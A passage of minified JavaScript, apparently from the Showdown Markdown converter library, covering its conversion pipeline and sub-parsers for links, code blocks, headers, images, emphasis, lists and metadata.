\t]+$/gm,""),a.helper.forEach(r,(function(r){e=a.subParser("runExtension")(r,e,t,o)})),e=a.subParser("metadata")(e,t,o),e=a.subParser("hashPreCodeTags")(e,t,o),e=a.subParser("githubCodeBlocks")(e,t,o),e=a.subParser("hashHTMLBlocks")(e,t,o),e=a.subParser("hashCodeTags")(e,t,o),e=a.subParser("stripLinkDefinitions")(e,t,o),e=a.subParser("blockGamut")(e,t,o),e=a.subParser("unhashHTMLSpans")(e,t,o),e=(e=(e=a.subParser("unescapeSpecialChars")(e,t,o)).replace(/¨D/g,"$$")).replace(/¨T/g,"¨"),e=a.subParser("completeHTMLDocument")(e,t,o),a.helper.forEach(n,(function(r){e=a.subParser("runExtension")(r,e,t,o)})),p=o.metadata,e},this.makeMarkdown=this.makeMd=function(e,t){if(e=(e=(e=e.replace(/\r\n/g,"\n")).replace(/\r/g,"\n")).replace(/>[ \t]+</,">¨NBSP;<"),!t){if(!window||!window.document)throw new Error("HTMLParser is undefined. If in a webworker or nodejs environment, you need to provide a WHATWG DOM and HTML such as JSDOM");t=window.document}var r=t.createElement("div");r.innerHTML=e;var n={preList:function(e){for(var t=e.querySelectorAll("pre"),r=[],n=0;n<t.length;++n)if(1===t[n].childElementCount&&"code"===t[n].firstChild.tagName.toLowerCase()){var o=t[n].firstChild.innerHTML.trim(),i=t[n].firstChild.getAttribute("data-language")||"";if(""===i)for(var s=t[n].firstChild.className.split(" "),c=0;c<s.length;++c){var l=s[c].match(/^language-(.+)$/);if(null!==l){i=l[1];break}}o=a.helper.unescapeHTMLEntities(o),r.push(o),t[n].outerHTML='<precode language="'+i+'" precodenum="'+n.toString()+'"></precode>'}else r.push(t[n].innerHTML),t[n].innerHTML="",t[n].setAttribute("prenum",n.toString());return r}(r)};!function e(t){for(var r=0;r<t.childNodes.length;++r){var n=t.childNodes[r];3===n.nodeType?/\S/.test(n.nodeValue)?(n.nodeValue=n.nodeValue.split("\n").join(" "),n.nodeValue=n.nodeValue.replace(/(\s)+/g,"$1")):(t.removeChild(n),--r):1===n.nodeType&&e(n)}}(r);for(var o=r.childNodes,i="",s=0;s<o.length;s++)i+=a.subParser("makeMarkdown.node")(o[s],n);return i},this.setOption=function(e,r){t[e]=r},this.getOption=function(e){return t[e]},this.getOptions=function(){return t},this.addExtension=function(e,t){f(e,t=t||null)},this.useExtension=function(e){f(e)},this.setFlavor=function(e){if(!u.hasOwnProperty(e))throw Error(e+" flavor was not found");var r=u[e];for(var n in i=e,r)r.hasOwnProperty(n)&&(t[n]=r[n])},this.getFlavor=function(){return i},this.removeExtension=function(e){a.helper.isArray(e)||(e=[e]);for(var t=0;t<e.length;++t){for(var o=e[t],i=0;i<r.length;++i)r[i]===o&&r[i].splice(i,1);for(;0<n.length;++i)n[0]===o&&n[0].splice(i,1)}},this.getAllExtensions=function(){return{language:r,output:n}},this.getMetadata=function(e){return e?p.raw:p.parsed},this.getMetadataFormat=function(){return p.format},this._setMetadataPair=function(e,t){p.parsed[e]=t},this._setMetadataFormat=function(e){p.format=e},this._setMetadataRaw=function(e){p.raw=e}},a.subParser("anchors",(function(e,t,r){"use strict";var n=function(e,n,o,i,s,c,l){if(a.helper.isUndefined(l)&&(l=""),o=o.toLowerCase(),e.search(/\(<?\s*>? ?(['"].*['"])?\)$/m)>-1)i="";else if(!i){if(o||(o=n.toLowerCase().replace(/ ?\n/g," ")),i="#"+o,a.helper.isUndefined(r.gUrls[o]))return e;i=r.gUrls[o],a.helper.isUndefined(r.gTitles[o])||(l=r.gTitles[o])}var u='<a href="'+(i=i.replace(a.helper.regexes.asteriskDashAndColon,a.helper.escapeCharactersCallback))+'"';return""!==l&&null!==l&&(u+=' title="'+(l=(l=l.replace(/"/g,"&quot;")).replace(a.helper.regexes.asteriskDashAndColon,a.helper.escapeCharactersCallback))+'"'),t.openLinksInNewWindow&&!/^#/.test(i)&&(u+=' rel="noopener noreferrer" target="¨E95Eblank"'),u+=">"+n+"</a>"};return e=(e=(e=(e=(e=r.converter._dispatch("anchors.before",e,t,r)).replace(/\[((?:\[[^\]]*]|[^\[\]])*)] ?(?:\n *)?\[(.*?)]()()()()/g,n)).replace(/\[((?:\[[^\]]*]|[^\[\]])*)]()[ \t]*\([ \t]?<([^>]*)>(?:[ \t]*((["'])([^"]*?)\5))?[ \t]?\)/g,n)).replace(/\[((?:\[[^\]]*]|[^\[\]])*)]()[ \t]*\([ \t]?<?([\S]+?(?:\([\S]*?\)[\S]*?)?)>?(?:[ \t]*((["'])([^"]*?)\5))?[ \t]?\)/g,n)).replace(/\[([^\[\]]+)]()()()()()/g,n),t.ghMentions&&(e=e.replace(/(^|\s)(\\)?(@([a-z\d]+(?:[a-z\d.-]+?[a-z\d]+)*))/gim,(function(e,r,n,o,i){if("\\"===n)return r+o;if(!a.helper.isString(t.ghMentionsLink))throw new Error("ghMentionsLink option must be a string");var s=t.ghMentionsLink.replace(/\{u}/g,i),c="";return t.openLinksInNewWindow&&(c=' rel="noopener noreferrer" target="¨E95Eblank"'),r+'<a href="'+s+'"'+c+">"+o+"</a>"}))),e=r.converter._dispatch("anchors.after",e,t,r)}));var h=/([*~_]+|\b)(((https?|ftp|dict):\/\/|www\.)[^'">\s]+?\.[^'">\s]+?)()(\1)?(?=\s|$)(?!["<>])/gi,g=/([*~_]+|\b)(((https?|ftp|dict):\/\/|www\.)[^'">\s]+\.[^'">\s]+?)([.!?,()\[\]])?(\1)?(?=\s|$)(?!["<>])/gi,m=/()<(((https?|ftp|dict):\/\/|www\.)[^'">\s]+)()>()/gi,b=/(^|\s)(?:mailto:)?([A-Za-z0-9!#$%&'*+-/=?^_`{|}~.]+@[-a-z0-9]+(\.[-a-z0-9]+)*\.[a-z]+)(?=$|\s)/gim,_=/<()(?:mailto:)?([-.\w]+@[-a-z0-9]+(\.[-a-z0-9]+)*\.[a-z]+)>/gi,y=function(e){"use strict";return function(t,r,n,o,i,s,c){var l=n=n.replace(a.helper.regexes.asteriskDashAndColon,a.helper.escapeCharactersCallback),u="",d="",p=r||"",f=c||"";return/^www\./i.test(n)&&(n=n.replace(/^www\./i,"http://www.")),e.excludeTrailingPunctuationFromURLs&&s&&(u=s),e.openLinksInNewWindow&&(d=' rel="noopener noreferrer" target="¨E95Eblank"'),p+'<a href="'+n+'"'+d+">"+l+"</a>"+u+f}},k=function(e,t){"use strict";return function(r,n,o){var i="mailto:";return n=n||"",o=a.subParser("unescapeSpecialChars")(o,e,t),e.encodeEmails?(i=a.helper.encodeEmailAddress(i+o),o=a.helper.encodeEmailAddress(o)):i+=o,n+'<a href="'+i+'">'+o+"</a>"}};a.subParser("autoLinks",(function(e,t,r){"use strict";return e=(e=(e=r.converter._dispatch("autoLinks.before",e,t,r)).replace(m,y(t))).replace(_,k(t,r)),e=r.converter._dispatch("autoLinks.after",e,t,r)})),a.subParser("simplifiedAutoLinks",(function(e,t,r){"use strict";return t.simplifiedAutoLink?(e=r.converter._dispatch("simplifiedAutoLinks.before",e,t,r),e=(e=t.excludeTrailingPunctuationFromURLs?e.replace(g,y(t)):e.replace(h,y(t))).replace(b,k(t,r)),e=r.converter._dispatch("simplifiedAutoLinks.after",e,t,r)):e})),a.subParser("blockGamut",(function(e,t,r){"use strict";return e=r.converter._dispatch("blockGamut.before",e,t,r),e=a.subParser("blockQuotes")(e,t,r),e=a.subParser("headers")(e,t,r),e=a.subParser("horizontalRule")(e,t,r),e=a.subParser("lists")(e,t,r),e=a.subParser("codeBlocks")(e,t,r),e=a.subParser("tables")(e,t,r),e=a.subParser("hashHTMLBlocks")(e,t,r),e=a.subParser("paragraphs")(e,t,r),e=r.converter._dispatch("blockGamut.after",e,t,r)})),a.subParser("blockQuotes",(function(e,t,r){"use strict";e=r.converter._dispatch("blockQuotes.before",e,t,r),e+="\n\n";var n=/(^ {0,3}>[ \t]?.+\n(.+\n)*\n*)+/gm;return t.splitAdjacentBlockquotes&&(n=/^ {0,3}>[\s\S]*?(?:\n\n)/gm),e=e.replace(n,(function(e){return e=(e=(e=e.replace(/^[ \t]*>[ \t]?/gm,"")).replace(/¨0/g,"")).replace(/^[ \t]+$/gm,""),e=a.subParser("githubCodeBlocks")(e,t,r),e=(e=(e=a.subParser("blockGamut")(e,t,r)).replace(/(^|\n)/g,"$1  ")).replace(/(\s*<pre>[^\r]+?<\/pre>)/gm,(function(e,t){var r=t;return r=(r=r.replace(/^  /gm,"¨0")).replace(/¨0/g,"")})),a.subParser("hashBlock")("<blockquote>\n"+e+"\n</blockquote>",t,r)})),e=r.converter._dispatch("blockQuotes.after",e,t,r)})),a.subParser("codeBlocks",(function(e,t,r){"use strict";e=r.converter._dispatch("codeBlocks.before",e,t,r);return e=(e=(e+="¨0").replace(/(?:\n\n|^)((?:(?:[ ]{4}|\t).*\n+)+)(\n*[ ]{0,3}[^ \t\n]|(?=¨0))/g,(function(e,n,o){var i=n,s=o,c="\n";return i=a.subParser("outdent")(i,t,r),i=a.subParser("encodeCode")(i,t,r),i=(i=(i=a.subParser("detab")(i,t,r)).replace(/^\n+/g,"")).replace(/\n+$/g,""),t.omitExtraWLInCodeBlocks&&(c=""),i="<pre><code>"+i+c+"</code></pre>",a.subParser("hashBlock")(i,t,r)+s}))).replace(/¨0/,""),e=r.converter._dispatch("codeBlocks.after",e,t,r)})),a.subParser("codeSpans",(function(e,t,r){"use strict";return void 0===(e=r.converter._dispatch("codeSpans.before",e,t,r))&&(e=""),e=e.replace(/(^|[^\\])(`+)([^\r]*?[^`])\2(?!`)/gm,(function(e,n,o,i){var s=i;return s=(s=s.replace(/^([ \t]*)/g,"")).replace(/[ \t]*$/g,""),s=n+"<code>"+(s=a.subParser("encodeCode")(s,t,r))+"</code>",s=a.subParser("hashHTMLSpans")(s,t,r)})),e=r.converter._dispatch("codeSpans.after",e,t,r)})),a.subParser("completeHTMLDocument",(function(e,t,r){"use strict";if(!t.completeHTMLDocument)return e;e=r.converter._dispatch("completeHTMLDocument.before",e,t,r);var n="html",o="<!DOCTYPE HTML>\n",a="",i='<meta charset="utf-8">\n',s="",c="";for(var l in void 0!==r.metadata.parsed.doctype&&(o="<!DOCTYPE "+r.metadata.parsed.doctype+">\n","html"!==(n=r.metadata.parsed.doctype.toString().toLowerCase())&&"html5"!==n||(i='<meta charset="utf-8">')),r.metadata.parsed)if(r.metadata.parsed.hasOwnProperty(l))switch(l.toLowerCase()){case"doctype":break;case"title":a="<title>"+r.metadata.parsed.title+"</title>\n";break;case"charset":i="html"===n||"html5"===n?'<meta charset="'+r.metadata.parsed.charset+'">\n':'<meta name="charset" content="'+r.metadata.parsed.charset+'">\n';break;case"language":case"lang":s=' lang="'+r.metadata.parsed[l]+'"',c+='<meta name="'+l+'" content="'+r.metadata.parsed[l]+'">\n';break;default:c+='<meta name="'+l+'" content="'+r.metadata.parsed[l]+'">\n'}return e=o+"<html"+s+">\n<head>\n"+a+i+c+"</head>\n<body>\n"+e.trim()+"\n</body>\n</html>",e=r.converter._dispatch("completeHTMLDocument.after",e,t,r)})),a.subParser("detab",(function(e,t,r){"use strict";return e=(e=(e=(e=(e=(e=r.converter._dispatch("detab.before",e,t,r)).replace(/\t(?=\t)/g,"    ")).replace(/\t/g,"¨A¨B")).replace(/¨B(.+?)¨A/g,(function(e,t){for(var r=t,n=4-r.length%4,o=0;o<n;o++)r+=" ";return r}))).replace(/¨A/g,"    ")).replace(/¨B/g,""),e=r.converter._dispatch("detab.after",e,t,r)})),a.subParser("ellipsis",(function(e,t,r){"use strict";return e=(e=r.converter._dispatch("ellipsis.before",e,t,r)).replace(/\.\.\./g,"…"),e=r.converter._dispatch("ellipsis.after",e,t,r)})),a.subParser("emoji",(function(e,t,r){"use strict";if(!t.emoji)return e;return e=(e=r.converter._dispatch("emoji.before",e,t,r)).replace(/:([\S]+?):/g,(function(e,t){return a.helper.emojis.hasOwnProperty(t)?a.helper.emojis[t]:e})),e=r.converter._dispatch("emoji.after",e,t,r)})),a.subParser("encodeAmpsAndAngles",(function(e,t,r){"use strict";return e=(e=(e=(e=(e=r.converter._dispatch("encodeAmpsAndAngles.before",e,t,r)).replace(/&(?!#?[xX]?(?:[0-9a-fA-F]+|\w+);)/g,"&amp;")).replace(/<(?![a-z\/?$!])/gi,"&lt;")).replace(/</g,"&lt;")).replace(/>/g,"&gt;"),e=r.converter._dispatch("encodeAmpsAndAngles.after",e,t,r)})),a.subParser("encodeBackslashEscapes",(function(e,t,r){"use strict";return e=(e=(e=r.converter._dispatch("encodeBackslashEscapes.before",e,t,r)).replace(/\\(\\)/g,a.helper.escapeCharactersCallback)).replace(/\\([`*_{}\[\]()>#+.!~=|-])/g,a.helper.escapeCharactersCallback),e=r.converter._dispatch("encodeBackslashEscapes.after",e,t,r)})),a.subParser("encodeCode",(function(e,t,r){"use strict";return e=(e=r.converter._dispatch("encodeCode.before",e,t,r)).replace(/&/g,"&amp;").replace(/</g,"&lt;").replace(/>/g,"&gt;").replace(/([*_{}\[\]\\=~-])/g,a.helper.escapeCharactersCallback),e=r.converter._dispatch("encodeCode.after",e,t,r)})),a.subParser("escapeSpecialCharsWithinTagAttributes",(function(e,t,r){"use strict";return e=(e=(e=r.converter._dispatch("escapeSpecialCharsWithinTagAttributes.before",e,t,r)).replace(/<\/?[a-z\d_:-]+(?:[\s]+[\s\S]+?)?>/gi,(function(e){return e.replace(/(.)<\/?code>(?=.)/g,"$1`").replace(/([\\`*_~=|])/g,a.helper.escapeCharactersCallback)}))).replace(/<!(--(?:(?:[^>-]|-[^>])(?:[^-]|-[^-])*)--)>/gi,(function(e){return e.replace(/([\\`*_~=|])/g,a.helper.escapeCharactersCallback)})),e=r.converter._dispatch("escapeSpecialCharsWithinTagAttributes.after",e,t,r)})),a.subParser("githubCodeBlocks",(function(e,t,r){"use strict";return t.ghCodeBlocks?(e=r.converter._dispatch("githubCodeBlocks.before",e,t,r),e=(e=(e+="¨0").replace(/(?:^|\n)(?: {0,3})(```+|~~~+)(?: *)([^\s`~]*)\n([\s\S]*?)\n(?: {0,3})\1/g,(function(e,n,o,i){var s=t.omitExtraWLInCodeBlocks?"":"\n";return i=a.subParser("encodeCode")(i,t,r),i="<pre><code"+(o?' class="'+o+" language-"+o+'"':"")+">"+(i=(i=(i=a.subParser("detab")(i,t,r)).replace(/^\n+/g,"")).replace(/\n+$/g,""))+s+"</code></pre>",i=a.subParser("hashBlock")(i,t,r),"\n\n¨G"+(r.ghCodeBlocks.push({text:e,codeblock:i})-1)+"G\n\n"}))).replace(/¨0/,""),r.converter._dispatch("githubCodeBlocks.after",e,t,r)):e})),a.subParser("hashBlock",(function(e,t,r){"use strict";return e=(e=r.converter._dispatch("hashBlock.before",e,t,r)).replace(/(^\n+|\n+$)/g,""),e="\n\n¨K"+(r.gHtmlBlocks.push(e)-1)+"K\n\n",e=r.converter._dispatch("hashBlock.after",e,t,r)})),a.subParser("hashCodeTags",(function(e,t,r){"use strict";e=r.converter._dispatch("hashCodeTags.before",e,t,r);return e=a.helper.replaceRecursiveRegExp(e,(function(e,n,o,i){var s=o+a.subParser("encodeCode")(n,t,r)+i;return"¨C"+(r.gHtmlSpans.push(s)-1)+"C"}),"<code\\b[^>]*>","</code>","gim"),e=r.converter._dispatch("hashCodeTags.after",e,t,r)})),a.subParser("hashElement",(function(e,t,r){"use strict";return function(e,t){var n=t;return n=(n=(n=n.replace(/\n\n/g,"\n")).replace(/^\n/,"")).replace(/\n+$/g,""),n="\n\n¨K"+(r.gHtmlBlocks.push(n)-1)+"K\n\n"}})),a.subParser("hashHTMLBlocks",(function(e,t,r){"use strict";e=r.converter._dispatch("hashHTMLBlocks.before",e,t,r);var n=["pre","div","h1","h2","h3","h4","h5","h6","blockquote","table","dl","ol","ul","script","noscript","form","fieldset","iframe","math","style","section","header","footer","nav","article","aside","address","audio","canvas","figure","hgroup","output","video","p"],o=function(e,t,n,o){var a=e;return-1!==n.search(/\bmarkdown\b/)&&(a=n+r.converter.makeHtml(t)+o),"\n\n¨K"+(r.gHtmlBlocks.push(a)-1)+"K\n\n"};t.backslashEscapesHTMLTags&&(e=e.replace(/\\<(\/?[^>]+?)>/g,(function(e,t){return"&lt;"+t+"&gt;"})));for(var i=0;i<n.length;++i)for(var s,c=new RegExp("^ {0,3}(<"+n[i]+"\\b[^>]*>)","im"),l="<"+n[i]+"\\b[^>]*>",u="</"+n[i]+">";-1!==(s=a.helper.regexIndexOf(e,c));){var d=a.helper.splitAtIndex(e,s),p=a.helper.replaceRecursiveRegExp(d[1],o,l,u,"im");if(p===d[1])break;e=d[0].concat(p)}return e=e.replace(/(\n {0,3}(<(hr)\b([^<>])*?\/?>)[ \t]*(?=\n{2,}))/g,a.subParser("hashElement")(e,t,r)),e=(e=a.helper.replaceRecursiveRegExp(e,(function(e){return"\n\n¨K"+(r.gHtmlBlocks.push(e)-1)+"K\n\n"}),"^ {0,3}\x3c!--","--\x3e","gm")).replace(/(?:\n\n)( {0,3}(?:<([?%])[^\r]*?\2>)[ \t]*(?=\n{2,}))/g,a.subParser("hashElement")(e,t,r)),e=r.converter._dispatch("hashHTMLBlocks.after",e,t,r)})),a.subParser("hashHTMLSpans",(function(e,t,r){"use strict";function n(e){return"¨C"+(r.gHtmlSpans.push(e)-1)+"C"}return e=(e=(e=(e=(e=r.converter._dispatch("hashHTMLSpans.before",e,t,r)).replace(/<[^>]+?\/>/gi,(function(e){return n(e)}))).replace(/<([^>]+?)>[\s\S]*?<\/\1>/g,(function(e){return n(e)}))).replace(/<([^>]+?)\s[^>]+?>[\s\S]*?<\/\1>/g,(function(e){return n(e)}))).replace(/<[^>]+?>/gi,(function(e){return n(e)})),e=r.converter._dispatch("hashHTMLSpans.after",e,t,r)})),a.subParser("unhashHTMLSpans",(function(e,t,r){"use strict";e=r.converter._dispatch("unhashHTMLSpans.before",e,t,r);for(var n=0;n<r.gHtmlSpans.length;++n){for(var o=r.gHtmlSpans[n],a=0;/¨C(\d+)C/.test(o);){var i=RegExp.$1;if(o=o.replace("¨C"+i+"C",r.gHtmlSpans[i]),10===a){console.error("maximum nesting of 10 spans reached!!!");break}++a}e=e.replace("¨C"+n+"C",o)}return e=r.converter._dispatch("unhashHTMLSpans.after",e,t,r)})),a.subParser("hashPreCodeTags",(function(e,t,r){"use strict";e=r.converter._dispatch("hashPreCodeTags.before",e,t,r);return e=a.helper.replaceRecursiveRegExp(e,(function(e,n,o,i){var s=o+a.subParser("encodeCode")(n,t,r)+i;return"\n\n¨G"+(r.ghCodeBlocks.push({text:e,codeblock:s})-1)+"G\n\n"}),"^ {0,3}<pre\\b[^>]*>\\s*<code\\b[^>]*>","^ {0,3}</code>\\s*</pre>","gim"),e=r.converter._dispatch("hashPreCodeTags.after",e,t,r)})),a.subParser("headers",(function(e,t,r){"use strict";e=r.converter._dispatch("headers.before",e,t,r);var n=isNaN(parseInt(t.headerLevelStart))?1:parseInt(t.headerLevelStart),o=t.smoothLivePreview?/^(.+)[ \t]*\n={2,}[ \t]*\n+/gm:/^(.+)[ \t]*\n=+[ \t]*\n+/gm,i=t.smoothLivePreview?/^(.+)[ \t]*\n-{2,}[ \t]*\n+/gm:/^(.+)[ \t]*\n-+[ \t]*\n+/gm;e=(e=e.replace(o,(function(e,o){var i=a.subParser("spanGamut")(o,t,r),s=t.noHeaderId?"":' id="'+c(o)+'"',l="<h"+n+s+">"+i+"</h"+n+">";return a.subParser("hashBlock")(l,t,r)}))).replace(i,(function(e,o){var i=a.subParser("spanGamut")(o,t,r),s=t.noHeaderId?"":' id="'+c(o)+'"',l=n+1,u="<h"+l+s+">"+i+"</h"+l+">";return a.subParser("hashBlock")(u,t,r)}));var s=t.requireSpaceBeforeHeadingText?/^(#{1,6})[ \t]+(.+?)[ \t]*#*\n+/gm:/^(#{1,6})[ \t]*(.+?)[ \t]*#*\n+/gm;function c(e){var n,o;if(t.customizedHeaderId){var i=e.match(/\{([^{]+?)}\s*$/);i&&i[1]&&(e=i[1])}return n=e,o=a.helper.isString(t.prefixHeaderId)?t.prefixHeaderId:!0===t.prefixHeaderId?"section-":"",t.rawPrefixHeaderId||(n=o+n),n=t.ghCompatibleHeaderId?n.replace(/ /g,"-").replace(/&amp;/g,"").replace(/¨T/g,"").replace(/¨D/g,"").replace(/[&+$,\/:;=?@"#{}|^¨~\[\]`\\*)(%.!'<>]/g,"").toLowerCase():t.rawHeaderId?n.replace(/ /g,"-").replace(/&amp;/g,"&").replace(/¨T/g,"¨").replace(/¨D/g,"$").replace(/["']/g,"-").toLowerCase():n.replace(/[^\w]/g,"").toLowerCase(),t.rawPrefixHeaderId&&(n=o+n),r.hashLinkCounts[n]?n=n+"-"+r.hashLinkCounts[n]++:r.hashLinkCounts[n]=1,n}return e=e.replace(s,(function(e,o,i){var s=i;t.customizedHeaderId&&(s=i.replace(/\s?\{([^{]+?)}\s*$/,""));var l=a.subParser("spanGamut")(s,t,r),u=t.noHeaderId?"":' id="'+c(i)+'"',d=n-1+o.length,p="<h"+d+u+">"+l+"</h"+d+">";return a.subParser("hashBlock")(p,t,r)})),e=r.converter._dispatch("headers.after",e,t,r)})),a.subParser("horizontalRule",(function(e,t,r){"use strict";e=r.converter._dispatch("horizontalRule.before",e,t,r);var n=a.subParser("hashBlock")("<hr />",t,r);return e=(e=(e=e.replace(/^ {0,2}( ?-){3,}[ \t]*$/gm,n)).replace(/^ {0,2}( ?\*){3,}[ \t]*$/gm,n)).replace(/^ {0,2}( ?_){3,}[ \t]*$/gm,n),e=r.converter._dispatch("horizontalRule.after",e,t,r)})),a.subParser("images",(function(e,t,r){"use strict";function n(e,t,n,o,i,s,c,l){var u=r.gUrls,d=r.gTitles,p=r.gDimensions;if(n=n.toLowerCase(),l||(l=""),e.search(/\(<?\s*>? ?(['"].*['"])?\)$/m)>-1)o="";else if(""===o||null===o){if(""!==n&&null!==n||(n=t.toLowerCase().replace(/ ?\n/g," ")),o="#"+n,a.helper.isUndefined(u[n]))return e;o=u[n],a.helper.isUndefined(d[n])||(l=d[n]),a.helper.isUndefined(p[n])||(i=p[n].width,s=p[n].height)}t=t.replace(/"/g,"&quot;").replace(a.helper.regexes.asteriskDashAndColon,a.helper.escapeCharactersCallback);var f='<img src="'+(o=o.replace(a.helper.regexes.asteriskDashAndColon,a.helper.escapeCharactersCallback))+'" alt="'+t+'"';return l&&a.helper.isString(l)&&(f+=' title="'+(l=l.replace(/"/g,"&quot;").replace(a.helper.regexes.asteriskDashAndColon,a.helper.escapeCharactersCallback))+'"'),i&&s&&(f+=' width="'+(i="*"===i?"auto":i)+'"',f+=' height="'+(s="*"===s?"auto":s)+'"'),f+=" />"}return e=(e=(e=(e=(e=(e=r.converter._dispatch("images.before",e,t,r)).replace(/!\[([^\]]*?)] ?(?:\n *)?\[([\s\S]*?)]()()()()()/g,n)).replace(/!\[([^\]]*?)][ \t]*()\([ \t]?<?(data:.+?\/.+?;base64,[A-Za-z0-9+/=\n]+?)>?(?: =([*\d]+[A-Za-z%]{0,4})x([*\d]+[A-Za-z%]{0,4}))?[ \t]*(?:(["'])([^"]*?)\6)?[ \t]?\)/g,(function(e,t,r,o,a,i,s,c){return n(e,t,r,o=o.replace(/\s/g,""),a,i,s,c)}))).replace(/!\[([^\]]*?)][ \t]*()\([ \t]?<([^>]*)>(?: =([*\d]+[A-Za-z%]{0,4})x([*\d]+[A-Za-z%]{0,4}))?[ \t]*(?:(?:(["'])([^"]*?)\6))?[ \t]?\)/g,n)).replace(/!\[([^\]]*?)][ \t]*()\([ \t]?<?([\S]+?(?:\([\S]*?\)[\S]*?)?)>?(?: =([*\d]+[A-Za-z%]{0,4})x([*\d]+[A-Za-z%]{0,4}))?[ \t]*(?:(["'])([^"]*?)\6)?[ \t]?\)/g,n)).replace(/!\[([^\[\]]+)]()()()()()/g,n),e=r.converter._dispatch("images.after",e,t,r)})),a.subParser("italicsAndBold",(function(e,t,r){"use strict";function n(e,t,r){return t+e+r}return e=r.converter._dispatch("italicsAndBold.before",e,t,r),e=t.literalMidWordUnderscores?(e=(e=e.replace(/\b___(\S[\s\S]*?)___\b/g,(function(e,t){return n(t,"<strong><em>","</em></strong>")}))).replace(/\b__(\S[\s\S]*?)__\b/g,(function(e,t){return n(t,"<strong>","</strong>")}))).replace(/\b_(\S[\s\S]*?)_\b/g,(function(e,t){return n(t,"<em>","</em>")})):(e=(e=e.replace(/___(\S[\s\S]*?)___/g,(function(e,t){return/\S$/.test(t)?n(t,"<strong><em>","</em></strong>"):e}))).replace(/__(\S[\s\S]*?)__/g,(function(e,t){return/\S$/.test(t)?n(t,"<strong>","</strong>"):e}))).replace(/_([^\s_][\s\S]*?)_/g,(function(e,t){return/\S$/.test(t)?n(t,"<em>","</em>"):e})),e=t.literalMidWordAsterisks?(e=(e=e.replace(/([^*]|^)\B\*\*\*(\S[\s\S]*?)\*\*\*\B(?!\*)/g,(function(e,t,r){return n(r,t+"<strong><em>","</em></strong>")}))).replace(/([^*]|^)\B\*\*(\S[\s\S]*?)\*\*\B(?!\*)/g,(function(e,t,r){return n(r,t+"<strong>","</strong>")}))).replace(/([^*]|^)\B\*(\S[\s\S]*?)\*\B(?!\*)/g,(function(e,t,r){return n(r,t+"<em>","</em>")})):(e=(e=e.replace(/\*\*\*(\S[\s\S]*?)\*\*\*/g,(function(e,t){return/\S$/.test(t)?n(t,"<strong><em>","</em></strong>"):e}))).replace(/\*\*(\S[\s\S]*?)\*\*/g,(function(e,t){return/\S$/.test(t)?n(t,"<strong>","</strong>"):e}))).replace(/\*([^\s*][\s\S]*?)\*/g,(function(e,t){return/\S$/.test(t)?n(t,"<em>","</em>"):e})),e=r.converter._dispatch("italicsAndBold.after",e,t,r)})),a.subParser("lists",(function(e,t,r){"use strict";function n(e,n){r.gListLevel++,e=e.replace(/\n{2,}$/,"\n");var o=/(\n)?(^ {0,3})([*+-]|\d+[.])[ \t]+((\[(x|X| )?])?[ \t]*[^\r]+?(\n{1,2}))(?=\n*(¨0| {0,3}([*+-]|\d+[.])[ \t]+))/gm,i=/\n[ \t]*\n(?!¨0)/.test(e+="¨0");return t.disableForced4SpacesIndentedSublists&&(o=/(\n)?(^ {0,3})([*+-]|\d+[.])[ \t]+((\[(x|X| )?])?[ \t]*[^\r]+?(\n{1,2}))(?=\n*(¨0|\2([*+-]|\d+[.])[ \t]+))/gm),e=(e=e.replace(o,(function(e,n,o,s,c,l,u){u=u&&""!==u.trim();var d=a.subParser("outdent")(c,t,r),p="";return l&&t.tasklists&&(p=' class="task-list-item" style="list-style-type: none;"',d=d.replace(/^[ \t]*\[(x|X| )?]/m,(function(){var e='<input type="checkbox" disabled style="margin: 0px 0.35em 0.25em -1.6em; vertical-align: middle;"';return u&&(e+=" checked"),e+=">"}))),d=d.replace(/^([-*+]|\d\.)[ \t]+[\S\n ]*/g,(function(e){return"¨A"+e})),n||d.search(/\n{2,}/)>-1?(d=a.subParser("githubCodeBlocks")(d,t,r),d=a.subParser("blockGamut")(d,t,r)):(d=(d=a.subParser("lists")(d,t,r)).replace(/\n$/,""),d=(d=a.subParser("hashHTMLBlocks")(d,t,r)).replace(/\n\n+/g,"\n\n"),d=i?a.subParser("paragraphs")(d,t,r):a.subParser("spanGamut")(d,t,r)),d="<li"+p+">"+(d=d.replace("¨A",""))+"</li>\n"}))).replace(/¨0/g,""),r.gListLevel--,n&&(e=e.replace(/\s+$/,"")),e}function o(e,t){if("ol"===t){var r=e.match(/^ *(\d+)\./);if(r&&"1"!==r[1])return' start="'+r[1]+'"'}return""}function i(e,r,a){var i=t.disableForced4SpacesIndentedSublists?/^ ?\d+\.[ \t]/gm:/^ {0,3}\d+\.[ \t]/gm,s=t.disableForced4SpacesIndentedSublists?/^ ?[*+-][ \t]/gm:/^ {0,3}[*+-][ \t]/gm,c="ul"===r?i:s,l="";if(-1!==e.search(c))!function t(u){var d=u.search(c),p=o(e,r);-1!==d?(l+="\n\n<"+r+p+">\n"+n(u.slice(0,d),!!a)+"</"+r+">\n",c="ul"===(r="ul"===r?"ol":"ul")?i:s,t(u.slice(d))):l+="\n\n<"+r+p+">\n"+n(u,!!a)+"</"+r+">\n"}(e);else{var u=o(e,r);l="\n\n<"+r+u+">\n"+n(e,!!a)+"</"+r+">\n"}return l}return e=r.converter._dispatch("lists.before",e,t,r),e+="¨0",e=(e=r.gListLevel?e.replace(/^(( {0,3}([*+-]|\d+[.])[ \t]+)[^\r]+?(¨0|\n{2,}(?=\S)(?![ \t]*(?:[*+-]|\d+[.])[ \t]+)))/gm,(function(e,t,r){return i(t,r.search(/[*+-]/g)>-1?"ul":"ol",!0)})):e.replace(/(\n\n|^\n?)(( {0,3}([*+-]|\d+[.])[ \t]+)[^\r]+?(¨0|\n{2,}(?=\S)(?![ \t]*(?:[*+-]|\d+[.])[ \t]+)))/gm,(function(e,t,r,n){return i(r,n.search(/[*+-]/g)>-1?"ul":"ol",!1)}))).replace(/¨0/,""),e=r.converter._dispatch("lists.after",e,t,r)})),a.subParser("metadata",(function(e,t,r){"use strict";if(!t.metadata)return e;function n(e){r.metadata.raw=e,(e=(e=e.replace(/&/g,"&amp;").replace(/"/g,"&quot;")).replace(/\n {4}/g," ")).replace(/^([\S ]+): +([\s\S]+?)$/gm,(function(e,t,n){return r.metadata.parsed[t]=n,""}))}return e=(e=(e=(e=r.converter._dispatch("metadata.before",e,t,r)).replace(/^\s*«««+(\S*?)\n([\s\S]+?)\n»»»+\n/,(function(e,t,r){return n(r),"¨M"}))).replace(/^\s*---+(\S*?)\n([\s\S]+?)\n---+\n/,(function(e,t,o){return t&&(r.metadata.format=t),n(o),"¨M"}))).replace(/¨M/g,""),e=r.converter._dispatch("metadata.after",e,t,r)})),a.subParser("outdent",(function(e,t,r){"use strict";return 